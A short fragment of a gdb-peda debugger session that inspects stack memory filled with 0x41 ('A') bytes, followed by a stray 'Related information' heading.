gdb-peda$ x/4gx 0x7fffffffe2b0
0x7fffffffe2b0:	0x4141414141414141	0x4141414141414141
0x7fffffffe2c0:	0x000000000000000a	0x0000000000000000
gdb-peda$ 

Related information

...